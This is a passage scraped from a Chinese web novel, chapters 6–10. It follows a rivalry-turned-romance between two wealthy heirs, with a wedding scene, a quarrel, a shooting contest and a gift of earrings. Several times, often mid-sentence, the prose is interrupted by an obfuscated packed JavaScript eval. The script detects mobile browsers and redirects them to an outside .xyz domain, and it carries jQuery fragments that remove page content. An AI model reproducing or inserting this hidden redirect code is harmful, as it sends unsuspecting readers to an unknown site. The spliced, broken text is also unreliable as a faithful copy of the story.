安林在哪里,去了哪里,和自己有什么关系。而这又有什么难猜的。 贺曲航太过于了解他,甚至于懒得去走进这趟浑水。 他如果没有记错的话,安林也是在四年前这个季节收到闻萧延送的第一束花。 红色的玫瑰?还是什么,他有些记不清了。 那个时间段他已经大四毕业,是新一届新生入学的秋天。他照常下午两点半去安林的办公室找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对方挺直了身躯站在窗前。宽肩窄腰、西装笔挺,身材有料到安林有时都会趁着他睡着时偷偷靠近的地步。从窗户外来临的风吹过他纯黑色的碎发,霎那间失去了表情的俊朗面容上眸瞳神色极其冰冷。 “那要看他今天答应谁了。”贺曲航当时盯着这位圈内出了名滥情风流的男人,缓缓拉平了嘴角叫他的名字:“…闻萧延。” 6. 第 6 章 贺曲航周六按时出席了闻萧延姑姑闻许情的婚礼。 闻许情上一次结婚是在三年前,贺曲航跟这位和闻萧延如出一辙风流的女士接触不算太少,看着她身穿大红色的婚服笑意盈盈地将手递给对面外形儒雅的男人,外貌仍然像刚进社会的学生一样美丽。 闻萧延不请自来地坐在了他身边的沙发上,一身深绿色的西装,头发被做了背头造型,留下几缕未被发胶固定的碎发掉落在额前。 闻萧延兴致缺缺地举着香槟,胳膊向后搭在沙发的横梁上,看到贺曲航耳上钉子又换成看不出来的透明色:“我打赌一年后又会离婚。” 贺曲航不予置评。 他坐在庄园婚宴大厅里最中心的位置翻侍者递给他的宾客名单,身陷在沙发中,左腿搭在右腿上,米黄色的西装衬得他看起来柔和又温柔。 闻萧延见惯了他看向自己时冰冷的眼神、对峙时愤怒的厌恶与装模作样出来的礼貌,乍一看他这副轻松适宜的态度觉得十分稀奇。 闻萧延闲散地坐着,没话找话起来:“你猜猜安林前些天是在哪里?” 贺曲航眼眉都不抬一下:“你家。” “你可真没意思。”闻萧延说,“他半夜到我一年前送给他的别墅去了,我都快忘了还有这个地方。” 别墅位于海边,里面放着安林这些年来倾心做出的艺术成品。房子上写的闻萧延的名字,公安根本不敢搜查。 闻许情挽着新郎过来,见到两个人坐在一张沙发上时肉眼可见地愣了一下,还以为又是在相互阴阳怪气地找事。目光略有深意地瞪过闻萧延,转过头又向贺曲航掩面一笑。 和贺曲航打完招呼,她转了一圈才发现这次不对劲,古怪的问起来:“你那位小男友呢?” 闻萧延言简意赅:“分了。” 闻许情了然的点头,对于这种事情一点也不意外。 她情史丰富,虽然闻萧延宛如渣男上岸般坚持不懈地追了安林两年,但她一眼就看出来他并不是真正喜欢人家,只是因为从小身居高位惯了,要什么都能得到,突然出现一个和自己势均力敌的竞争对手感觉太过于新鲜,比得有些上头。 而贺曲航,他也许之前追的时候是真心的。闻许情两年前就开始看不明白他。他父亲是自己求而不得的白月光,而贺曲航有着和他父亲如出一辙的俊美长相,闻许情在两个人之间一向是无条件支持他的,对于他的落败无比怜惜。 “那你们好好聊聊。”闻许情没乐子可看,立刻对这里失去了兴趣,以长辈的姿态嘱咐,点点闻萧延的额头,“好好招待,再打起来我就把账都记你头上。” 闻萧延双手一摊:“自然。” 闻许情踏着高跟就走了。贺曲航还在看刚刚没看完的宾客名单,闻萧延侃侃称奇:“几个字一个名字,有什么好看的?” “……苏在起……安林…?他又跟谁来的?” “曲航!”苏在起穿着小西服闻声而至,他从头到脚都精心搭理过,他面貌焕然一新,自然地凑上来眼巴巴问道:“上次在医院是我不对,一会儿婚宴结束,你愿意陪我一起去吃饭吗?” “苏先生。”贺曲航笑,语气温和,望过来的温柔目光让苏在起不由得红了脸颊,“我一会儿有约了。” “和谁?” 苏在起还没继续询问,一旁的闻萧延先挑眉问了起来。 苏在起皱了下眉,这才注意到一旁闻萧延的存在。他还不知道闻萧延和安林已经分手的事情,看到闻萧延和贺曲航出现在一起,脸色就霎时变了一下。 一方面对于闻萧延抢走了安林让贺曲航伤心而看不惯他,一方面又在他和贺曲航互相针锋相对时羡慕他。苏在起皱眉说:“你竟然在啊?那怎么安林今天是和宋时来的。” 闻萧延扬起嘴角笑起来:“我需要给全世界都说明一下——我和他已经分手了吗?” 闻萧延的这句话声音不小。而刚刚就在苏在起凑过来站在贺曲航身旁时周围就安静了下来,此刻更是在这片宴会厅里被听的一清二楚。 安林苍白着脸站在苏在起身后的不远处,一个年龄看着不大的青年现在他身后,努力掩盖住自己面色的不愉。 安林开口,视线直直地略过自己的前男友,第一个叫的是贺曲航的名字:“曲航…” 贺曲航在闻萧延略显深意的眸子里侧头望去,泰然自若地点点头,一贯的彬彬有礼作派:“安先生。” 先生。怎么见了谁都是先生。 闻萧延顶了顶腮帮子,跟着拖长嗓子叫了一声“贺先生”,语气却像是在挑衅。 苏在起立刻就警惕地盯着他,一个跨步站在两个人中间把闻萧延与贺曲航隔绝开来,又瞪圆了眼睛盯着安林。 苏在起像是小兽一样地警惕起来。他猛地伸出手捏住贺曲航的手腕。 手心里是心上人骨节分明的腕骨,温热的触感真实存在,苏在起心跳如雷,不由得捏的紧了点,将他往自己的方向拽了拽。 贺曲航比他足足高高一个头,身型也强健有力,居然轻易被他扯着直起了身子。 苏在起小声指责他,几乎又要开始蛮不讲理地落泪:“贺曲航,你能不能离安林远一点!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14775902|157901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >苏在起虽然一点就哭,看起来和花朵一样娇弱,但手劲却大得有些出奇。贺曲航之前和他没有肢体接触,此刻尝试了好几下都没有挣脱开来,又去仰起头礼貌地叫他:“苏先生……” 贺曲航背脊过直了,饱满流畅的胸肌线条被衬托的一览无余。闻萧延心上生出几丝莫名其妙的不悦,又见苏在起半天没有想要松手的意思,眉宇拧出戾气:“你应该让安林离他远一点。” 苏在起才不管他。他认定了就是贺曲航的错误。 贺曲航明明已经不再主动追求安林,但安林还是这样一而再再而三地念挂着他,哪怕之前和闻萧延在一起,也仍然三天两头地往贺曲航那里跑。但这怎么能是安林的错?如果不是贺曲航心里放不下安林,怎么会站在那里就像是在勾引别人。 在苏在起心里没人能抵挡住贺曲航的魅力。他的性格、身体、所有的一切、好与不好的,看得见的与看不见的。这明明就是贺曲航的问题。 贺曲航的神色也冷了下来。他挣脱不开苏在起的束缚,摆出面无表情的神态,英俊的脸上薄唇微抿,眸光闪过冰川般的冷。 “松手。”他说。 苏在起下意识就松开了手,被冰冷的语气刺激,眼泪止不住地流了出来。安林打完招呼就被身后的青年强行扯着远离了这里,贺曲航看着这一切,站起身想往外围走去。 但他刚刚转身迈出一步,手腕又被迅速反应过来的苏在起紧紧地捏住了。贺曲航垂下眼眸看他,不知道他又要搞什么名堂。 苏在起只是捏着,但什么下一步的动作都没有。闻萧延突然站起身大步走过来,他一手握住一只胳膊,用了点巧劲把两个人猛地分开。随后一把扯过苏在起的后领,拽的他离贺曲航远了几米。 他第一秒望向贺曲航,这才看着周围都顺眼了不少:“你没事?” 苏在起猛地尖叫起来:“你有病?!不去追安林来拉我?” 闻萧延头都懒得转向他,嗤笑:“你有病。” “你和安林分手就分手,还在这里针对曲航干什么?”苏在起愤恨地说,“被打上瘾了?那么滥情就快点去找下一个对象啊!” 闻萧延对于后半句话毫无应激,大马金刀地坐回沙发上,翘起腿完全懒得理他。 但想了想,还是觉得口头上没有占到上风,张嘴就要讥讽起来。 贺曲航被吵的头疼,他按了按太阳穴,冷漠地朝看向自己的人都递去阴沉冰冷的眼神。站在那里整理了下西装,眉头骤然下压,眼神凌厉,动作间无端有种骇人的压迫感,嘴里吐出三个不容置疑地话语:“都安静。” 7. 第 7 章 闻萧延靠在沙发最边坐着,单手拿起里面倒满果汁的酒杯抿了一口。 贺曲航不常在大众面前表现出生气的样子,一直都是和煦温柔的神色,此次冷起脸来太过有威慑力,不明所以的人也惊诧起来。他转身走了后,在场的人谁也没有再说一句话。 闻萧延把烟塞进嘴里,躺在沙发上不合时宜地想,板起脸时眼下的孪生痣就变得更加好看了,他以前怎么没有发现。 安林和那位带他来的青年没有走多远,就站在通往花园的通道门口。 贺曲航知道他,宋时和他一届,家里是干医药产业的,之前大学时经常邀请他参加聚会。他们那堆人圈子都很乱,贺曲航一个人独来独往惯了,倒是一次也没去过。 “……你猜他谈过那么多,为什么没有一个人敢在分手后惹事?他们家想让一个人消失轻而易举,你死都不知道怎么死的。真当自己和他谈了两年,有点感情就是特殊的那一个了?” 安林皱眉说:“我和闻萧延之前也没有感情,他对我就是单纯的玩玩,你也听到我们分手了。” “那你还往那边凑?” 安林语气平静:“我只是在给曲航打招呼。” 宋时基本是气笑了:“你真以为人家还看得上你啊?他一个大少爷要什么有什么,地位不比那谁差,追了你六七年不接受,你现在被闻家那位甩了就赶着找他啊?” “我当然知道他的家世。”安林眸色暗淡,说,“我和曲航这么多年来一直都是朋友。” “你真是……”宋时无语起来,想说什么,最后摆了摆手,“当我眼瞎算了。你要来我也带你来了……” “你还要站这听他继续说?”闻萧延的刻意压低的声音在身后响起,他站在贺曲航身旁的盆栽后面,抱着手臂靠着墙。 贺曲航侧头看他一眼:“正要走。” “看你在这站半天了,”闻萧延叼着烟笑起来,“你还没回答我和谁有约。” 贺曲航心情不太好,懒得和他纠缠下去,随口回答:“合作商。” “闻许情结婚,今天谁敢约谈合作。”闻萧延不依不饶地问,“那就是没人了,和我出去玩?” 贺曲航站在原地看他半天,冷漠的面容上眉头狐疑地拧起,猛不丁道:“你追谁都是这副态度?” 闻萧延愣了一下,细细看过贺曲航审视扫来的目光,半晌才眉眼泛笑地挑起尾音:“原来我是在追你吗?”他耸耸肩,饶有兴趣道,“我单纯和你搞好关系也不行?” 闻萧延其实吓了一跳。浅浅萌生的心意被这么突然地点出来,才发现自己的这种心情和之前心血来潮时一点也不一样。这未免有些太过于奇怪。 闻萧延对一个人有意思就三步。送花——表白——在一起,这三个步骤简单无比而信手拈来,权势、身材、样貌和钱财,闻萧延哪一个都不缺,而这套三连只有对安林用时出了差错,因为有贺曲航这个情深似海的深情种挡在他的面前。 说实话他目前压根没有想着去追,贺曲航和其他人从哪个角度看来都不能一概而论,闻萧延这个阶段只想过和贺曲航搞好关系,但用兄弟之间的方式相处他内心却不愿意。 面前的男人神色稍缓:“我们关系什么时候好过。” 贺曲航淡淡说完这句话。闻萧延前科累累,他并不想变成闻萧延下一个三分钟热度的对象,昔日的情敌对自己没有这方面的意思,这竟然算得上是今天的第一个好消息。 “去哪?”他缓和了神色随口问。 闻萧延眉宇一挑,勾唇笑起来:“和我把两年前的那场比完吧。” 贺曲航想起来。那天两个人为了争夺安林的周末使用权,私下里约了一场实弹射击竞技。贺曲航之前专门练过一段时间的射箭,对于枪械这方面成年后偶然跟着玩过几把,自认上手很快,于是答应了他挑衅一样的比拼。 闻萧延世家从军从政,从小就开始接触这方面的训练,大学时期还被送去部队磨练过。两个人这方面的实力差距在这里,在当时的其他人眼底贺曲航绝对会完败,擦枪走火时受伤也说不定。 贺曲航性格冰冷叛逆,对于想趋炎附势的向来都一脚踹开,从小到大都没什么可以交心的朋友。而闻萧延身后总是跟着哗啦啦一大批人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14775903|157901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朋友、喝酒的狐朋狗友和单纯的谄媚者。竞技当然是瞒着安林的进行的,但安林那个时候不知道从哪个跟班的嘴里听说了,单方面的替他们定了结果,直接主动约了闻萧延出去。 贺曲航当时已经习惯了自己和闻萧延的比对中总是完败的那一个,安林的选择也算是从一而终,现在想起来就和在看别人的故事一样。 于是贺曲航歪头轻飘飘地扫过他,说了声好啊。 要送给闻许情的新婚礼物还在他身上携带着,闻许情基本每个月都要雷打不动地找各种理由办派对,也一向喜欢在活动即将结束的时候当场拆开礼物。婚礼这次虽然是最为大型的高级宴会,邀请的人员层次上了好几个档次,但对于她说也是毫不例外的惯例。 贺曲航从来没参加过,也听到很多人说起她这个不给人留颜面的坏习惯。他虽然不用待到婚礼宴会结束,但因为是第一次参加,所以本身没有打算提前走,想着她拆礼物时再顺便递上让她第一个拆,于是并没有随着进场的礼品单把东西放在那里。 堵在通道口的安林二人已经不见踪影,贺曲航掏出手机,准备让助理过来把礼物拿着,到时间点再送上去。 “还让助理送吗?”闻萧延在他低下头后跨步凑过来,装作不经意间甩了甩食指上的车钥匙扣,“我开车就好了。” 贺曲航掏出小盒子,色调白楷的手指轻点简洁的包装纸,衬得简谱的花纹都高级起来,他垂下眼帘:“闻女士的新婚礼物。” 闻萧延立刻就明白了贺曲航之前的打算。因为地位相似,那礼物也必须是第一个递过去被拆开,不由得有些好笑。 他接过来,随意挥挥手,穿着黑色西装、带着黑色墨镜的男人不知道从哪个角落凑了上来:“少爷?” “务必保证这个是闻女士第一个拆的礼物,okay?”闻萧延把烟按灭了,接过贺曲航手里的郑重地递过去嘱咐道。 “闻女士?”男人愣了下,但很快的反应过来,对着贺曲航尊敬地躬身后,消失在两人视野里。 “走吧?”闻萧延侧头回来,盯着贺曲航眼下的两颗痣,笑意更加柔和。 8. 第 8 章 贺曲航脸上有两颗痣。位置在左眼正下方,一上一下的两颗孪生痣,颜色比较浅淡,如果不仔细看的话看不太出来。 他这两颗痣和生下他的人脸上痣长的位置一模一样,但是他妈本人在生下他后就和野女人私奔了,两兄弟长相都仿佛等比例复刻英俊成熟的父亲,所以他也不太清楚他母亲具体是个什么形象。 贺曲航这趟仍然坐的是闻萧延的后座。大少爷对于再一次被他当成司机这件事颇有怨言,但是让贺曲航坐他车来又是自己主动提出来的,只得神情略带奇怪地把贺曲航请下了车。 闻萧延是这家俱乐部的常客,经理一早就等在车外为两人开门,见到贺曲航时即使愣了一下也很快的恢复了圆滑的态度,对于他们两位在闻许情三婚当天同时出现在俱乐部这件事情冷汗直冒。 富家少爷的八卦消息互通极为快速。即使闻萧延一周之前就已经明明白白说过分手,也因为拿不清他一贯的态度而众说纷纭,毕竟这是他追求了整整两年才抢到手的男朋友。 直到他今天在宴会里直白地说出来,这个实锤才如狂风过境一般席卷了整个圈子。 众人对四角关系议论纷纷,经理让助教带着贺曲航去穿戴装备的时候,选的贵宾厅特意与闻萧延的专属休息室隔开了一段距离。 纯黑护目镜,全新连体服。贺曲航礼貌地向引导者颔首问好。他之前接触过,很快的准备好来到了靶场。 闻萧延站在桌前,单手插兜,以一种王者般的姿态气场按动扳机。连体服上简简单单地套着黑色军用背心,顶着做过造型的背头,被凌厉深邃的五官与菱形脸映衬的桀骜霸道。 一旁的显示屏里应声响起“十环”的机器报音,纯白色的护目镜下,他勾起一抹张扬而顽劣的笑意。 闻萧延放下手中的石膏弹和手枪,余光瞅到贺曲航走到自己身旁。 贺曲航英俊杰出的五官被流畅的线条勾勒,轻扫过来一眼,与教练说话时礼貌性温和了的眉宇中,是冰冷而跃跃欲试的野性目光。 闻萧延扫过他瘦劲的窄腰与有力的长腿,舔舔唇挑眉看他:“比比?” 贺曲航走过来,靠着记忆熟练地拿起枪械零件组装,闻言也勾起唇起了兴致:“比什么?” “我赢了,明天和我去吃饭。” 贺曲航按着枪等着他的下文。 “你输了,一会儿和我去吃饭。”闻萧延脑海里压根没有自己会输这一想法,他笑起来,神色莫测:“你先找找手感?” 站在一旁的经理心惊胆战地听着,不知道这两位的关系到底是什么发展。两个退伍军人出身的教练不论他如何使眼色都宛如哑巴一样地站在那里,看着贺曲航将石膏弹的弹匣推进手枪,也不上去插手指导一句话。 贺曲航的姿势不算标准,但是却绝对是专门学习过的。流程和动作没有任何不对之处,让经理松了一口气。 经理所在的俱乐部是为闻家服务的,对于贺曲航的一些资料他只背过一点,并不熟悉。虽然贺闻两家没有任何对立的利益关系,但是自从两位太子之间的关系与日俱增地恶化,下面的家族和跟随者也自然而然地开始跟风站队。 比他高了整整一个头的两个俊美男人站在身前,皆都是世家子弟,处在他赔上命也得罪不起的金字塔顶端地位。经理的目光穿透到大型半室内靶场的后方,那里百年的大树枝干粗壮地生长,已经落的没有几片叶子,只剩几片黄色的枯叶挂在枝头。 面前这两个人每多说一句话,经理就愈发觉得今天自己的职业也要如同那片枯叶一样走到尽头,他小心翼翼地站着,直到他们拿起实弹开始进行反应比拼。 闻萧延不论靶子怎样来回不停地摇摆都是百发百中,停在那里含着笑意示意贺曲航开始。 人形靶在眼前快速移动,高高低低,就如同丛林里飞速跑动的野兔。贺曲航对于枪械没有大部分男性那样热爱痴迷,上一次拿起真枪实弹还是在大学毕业第一年陪父兄接待贵客时被教导了一番。他甚至叫不出手上枪械的型号,只是摒弃杂念,聚精会神地按下扳机。 成年男人尚可接受的巨大后坐力吹乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14775904|157901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他额前发胶散落的刘海,基本上属于永久性旱在脸上的三七侧分背头下,一双狭长的眼眸微微眯起,泛着无比认真的情绪。 贺曲航漏了两枪。 他的神色太过凌厉漂亮,眸瞳也闪着闻萧延不曾见过的夺目亮光。撕去假性温和的谦逊伪装,暴露出的是闻萧延从未见过的、爽快而肆意的另一种神态。 战斗服勾勒出的身姿挺拔而有型,闻萧延近距离地看的有些入了迷,不小心就将他的身形刻画入眼中。直到贺曲航放下枪在他眼前站定,他才回过神来,从身边经理不知道递过来多久的烟盒里抽出了只烟,欲盖弥彰地叼进嘴里。 “去哪吃饭?”贺曲航问。他伸手把一边散落的刘海重新捋回头顶,恢复了平时只对闻萧延所有的冷淡神色。 他和闻萧延彼此冷眼相待惯了,前些年竞争时互相动手的次数都不下十次,也懒得维持对其他人的那副礼貌假面,露出傲慢无礼的真实爪牙来。 闻萧延之前只觉得他这副懒得伪装的态度简直比自己还要傲慢冷血,对待其他人时又神经做作的要死。但是一想到贺曲航这样鲜活真实的样子只有自己才看到过,就觉得心情也开始畅快起来。 贺曲航就站在他身前不到一米的距离,和之前无数次发生的场景都不一样。没有对峙、愤怒、讥笑和阴阳怪气的争吵,那颗浅淡的灰色孪生痣就在面前无限放大,性感地叫嚣着自己的存在感,似乎在邀请人去亲吻这个地方。闻萧延喉结滚动,移动视线,盯住他耳畔上那三颗透明的耳钉。 闻萧延伸手去触碰,蜻蜓点水般地点过他透明色的高位耳垂,看到贺曲航没有侧身躲闪,却随着他的动作微抿起的浅淡薄唇,不由得笑起来,声音低低地说道:“刚好,我有个礼物要送给你。” 送给一个人的东西,他还是第一次这样随身携带。 最下方的流苏,中间的十字架,与上方普通却富有质感的小圆点。 闻萧延发现他有耳洞的时候就冒出这个想法想要送给他。那时候心里就只有一个念头,感觉会很适合他。 9. 第 9 章 贺曲航的三颗耳钉是他高一的时候一起打的。那时候他处于刚刚明白自己性取向的叛逆期,兄长打趣地问起时才发现自己对于同龄女生没有任何春心萌发的情愫。 这无所谓,试管婴儿的技术已经很成熟,再说他们家又不是只有他一个男丁。他父亲是很传统的异性恋,对同性恋这个群体态度秉持略微不赞同的态度。但上层圈子本身就乱,像他们家这样洁身自好的不多,乱玩男人的比比皆是。 他父亲认为贺曲航本人的心情最为重要,没有多表示什么,只说你可能是继承了你妈妈的基因。 同性恋可婚的政策是在他高三的时候通过的,来自政客闻家的提案,引起了全社会轰动和改革。而闻人客提出这个提案的原因简单无比,不是因为顺应历史潮流和大风气,只是因为唯一的继承人闻萧延喜欢男人。打也打了骂也骂了,还是改变不了他,那就改变社会。 贺曲航对于闻萧延的事迹简直如雷贯耳。此刻看到闻萧延两指间夹着的小盒子,神情莫测地审视了他一眼。 “我又没让你戴。”闻萧延抿了抿嘴里被他深咬出齿痕的烟头,挑眉道,“就当是见面礼。” 贺曲航似笑非笑起来,认识第六年了,现在又是哪门子的见面。他屈起食指碰了碰自己已经习惯每次出门前换成透明色的耳钉,目光仿佛要穿透闻萧延整个人一般去看清他的眼底。 闻萧延态度散漫随意地站着,嘴角挂着和之前别无一致的不羁笑意,似乎真的只是心血来潮给与他的赠礼,见他迟迟不收,无意识间眯起眼眸,泛出几分危险的神情。 经理摸不清这是哪一门路的竞争套路,见贺曲航迟迟没有反应,这几秒内头发几乎都要大把大把地落到地上。闻萧延不耐烦后第一个遭殃的绝对是自己,于是心一横,上去准备劝说几句。 贺曲航伸手把盒子接过来了。 盒子包装精致,很小一个,顺着他的力道在食指关节与大拇指之间翻转,贺曲航穿着连体服,浑身上下没有一个能用来装东西的口袋。再次打开盒子看了眼里面三颗精致的小玩意,突然笑起来:“现在给我,是想让我放到哪里?” 闻萧延想说当然是你耳朵上,但是喉结滚动了一下,他点起打火机的火,却怎么也说不出这分外轻佻的话语。 不可以拿以前玩票的心态对待。闻萧延心头一跳,下意识询问起来:“如果你愿意的话……” 话到一半他又开始不耐起来,终于将烟点燃,白色的雾气升起后模糊了两个人之间的视野,气氛变得诡橘起来,经理把刚刚迈出的右脚默默收了回去。 贺曲航后退回到他原本的位置,将盒子随手放到身前的桌子上,轻叩石膏弹手枪的枪身,神色淡然,半晌抬眸道:“你还没回答我的问题。” 闻萧延叼着烟思索,眸光闪烁不断,沉默着笑道:“你定就好。” 贺曲航当然是选择不吃,但是依照比试的原则答应了明天的请求。 闻萧延对于他的拒绝表示异常的遗憾,但是没有再说什么,散漫地靠在桌子边沿,只让他先去收拾。 俱乐部的休息室里有浴室,经理为贺曲航准备了一套全新的暗红色西装,半湿的碎发零落地散开在额头,贺曲航注视着镜子自己里那张分外眼熟的脸庞,又看到一旁苏在起和安林不久前分别发来的语音通话申请,想起刚刚闻萧延行为怪异的赠礼,闭上眼睛觉得久违地有些疲惫。 他按了手机静音,躺在贵宾休息室的床上闭上眼睛想着捋一下最近发生的情况就起身,却不自觉的就真的睡了过去。 他陷入梦境的困扰里,梦里细细地闪过两年前的相处中自己未曾注意到过的微小细节,坐落于陌生与熟悉之间,交杂在梦幻的虚实里,贺曲航不由得开始怀疑,自己真的是在做梦吗? 这是一场头脑异常活跃的清醒梦。 闻萧延换上了之前留在这里的酒红色西装。心情很好地半躺在沙发里等贺曲航收拾完过来。对方说今天不想一起吃饭,那他等着对方没有反驳的明天就好。 闻萧延一向不会让自己处于不愉快的心情之中,他想,和来时一样,送对方回家的这种借口应该会被接受。 一小时后,仍旧没有等到人的闻萧延起身向经理要来了贺曲航房间的备用房卡。 经理的话头有些犹豫,但是还是动作麻利地递到他的手里。心里思索:俱乐部为保护隐私没有安装监控,是贺曲航悄悄走了但自己没有发现?还是对方其实并没有收拾好,但是自己却把房卡给了闻萧延。 这哪一种结果所导致的代价他都受不起,但是他更怕不应从闻萧延话语的后果。哪怕如经理这般察言观色的人精,也已经开始猜不透这两个人现在的关系。 闻萧延哪里知道经理心中这么多的猜想。他拿着房卡就大步向尽头的那间房间走去,心里只是怕贺曲航有任何的不测。 摔倒在浴室?被衣服绊倒?总不能是喝水呛到然后不好意思出来吧。 贺曲航如果知道自己这样想他,绝对会勾起唇用冰冷的视线将他戳个对穿,然后再一拳利落地砸过来。闻萧延刷卡开门的时候,自己都要被自己的想法逗笑。 但是贺曲航打起架来是真的狠,一看就是小时候天天玩命打架的那种……闻萧延思想越跑越偏,看到在床上睡着的贺曲航,下意识轻手轻脚地走进去。 贺曲航身上还穿着和他样式颜色一致的西装,碎发凌乱的落在脸上,盖住他总是泛着冷意的深沉眼眸,多了几分意料之外的柔和。他没有盖被子,未打领带的西装扣子只扣了中间一颗,露出的白衬衫贴着胸口紧致饱满的肌肉,随着呼吸间上下浮动。 闻萧延的眼珠随着那处上下移动几秒,一把扯过一旁的被子给他盖上。 眼不见心为净。闻萧延压低唇角深刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14775905|157901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地想,难道这就是自己喜欢玩弄他人感情的报应? 他虽然情人三天一换,但也只是谈谈乐子,从来不屑于用下半身思考,遇到安林后更是洁身自好。而安林性格清冷,哪怕在一起后也要和他保持距离,两个人同居一年半,甚至都没有在一个房间里待的超过两小时。 他一边东想西想,一边极其自然地伸手揉开贺曲航在睡梦中皱起的眉宇,满意地站起身去拉半闭的窗帘,没注意到对方微微颤动后张开的眼。 贺曲航终于在现实里睁开眼睛。看到闻萧延一脸高深莫测地侧对着自己,站在落地窗前眺望着楼下高嵩的银杏树林。 他推开身上温凉的被褥,打开手机,以为一觉睡到了第二天清晨,却发现自己只睡了不到两个小时。 贺曲航按压住不断刺痛的太阳穴,站起身不紧不慢地把自己的西装抚平,扣上不知道何时散开的西装扣,抬起头才发现闻萧延不知道什么时候已经转过来注视着自己了。 闻萧延凝视了一会儿贺曲航平静冷淡的面容,上下扫视起他已经整齐服帖的着装,又在自己的目光即将接近胸膛时移开道:“你不多睡一会儿?” 贺曲航语气暗哑,咳嗽了两声,拒绝道:“不了。”他打开手机又一次准备去呼叫那位二十四小时待命的可靠助理。 助理半小时前发消息说礼物已经被第一个拆开,是一片叶雕,上面雕刻着一张新婚夫妇二人亲昵的合影。闻许情说她非常喜欢,会还他一份大礼。 还与不还都是送给她的新婚礼物,贺曲航没什么想要表示的态度,他打字让助理自己看着处理就好。 闻萧延靠在窗边,瞧见他的动作后轻笑了一声。撩起因为没有发胶涂抹而散乱的碎发,长腿折叠,漫不经心地开口:“不麻烦他了,我送你吧。” 贺曲航疲于应付,索性点了头拿起手机跟着他出去。 经理诚惶诚恐地站在门口,看到他们神色如常地出来时松了口气,一路跟着他们想要去开车门时,闻萧延先一步伸手打开副驾驶座的门,用携带压迫感的目光和轻巧随意的神态邀请他上车。 贺曲航下意识地挽起西装袖口。 闻萧延压低声音,顽劣般笑着问他:“怎么,你不能总拿我当司机。” 贺曲航神色不变:“当然不会。”他扣上西装的袖扣,微微弯腰坐到了闻萧延的副驾驶座上。 经理的终于露出恍然大悟的神情,看到闻萧延心情很好的勾起笑意,随意睥睨过他,绕路甩上驾驶座的门。 “你可以睡一会儿。”闻萧延体贴地道。他开车的速度全凭心意,但现在可以为了贺曲航的睡眠去当一个合格的司机。 贺曲航没有看他,也不知道心里有没有信任,只是躺在副驾驶上闭上了眼睛,却很好的避免了闻萧延再次想要说出的话语。 好吧,闻萧延在心里说,那明天我再说。 10. 第 10 章 生物钟迫使贺曲航早上七点睁开眼睛。他拉开窗帘,窗外泛着白雾,细小的水珠在落地窗的玻璃上凝结。从他的方向可以眺望到不远处的雾江,这个时候的江面蓝的有些泛灰。 他洗漱完习惯性的打开财经频道,半躺在沙发上打开电脑开始处理起工作。 早间播报在说最近的股市行情分析,贺曲航打开助理发来的文件一目十行地看起来。助理是一个称职且省事的人,将所有的事情有条不紊地处理完毕,贺曲航只需要签字,再给一些重要的项目做出表态。 处理完所有事物已经将近十一点,贺曲航简单泡了一杯牛奶麦片,接通了助理打来的通讯。 “贺总,”助理开口道,“警方刚刚打电话说有一副画像,需要您去确认一下。” 贺曲航抿了一口牛奶,狐疑起来:“什么画像?” “从……”助理顿了下说,自己都觉得有些离谱,“几天前从安林所在别墅里收到的您的画像,需要您去确认一下画的是不是您……” 安林半夜从医院里前往的是闻萧延之前送给他的一套郊区里的房子,位置较为偏僻,警方定位到后去联系了闻萧延。闻萧延才懒得动身去那里查看,迅速地进行了产权交接的最后一步,摆明了和自己已经没有一点关系。 警方在那里不仅找到了被报失踪案的安林,还找到了闻萧延之前留了存档的遗失珠宝,于是暂时扣押了别墅里所有的设计品。 贺曲航垂下眼帘,手指拂过杯身,随意道:“让他们拍个照发给我。” “这个,可能不太好拍照。”助理语气迟疑地解释。 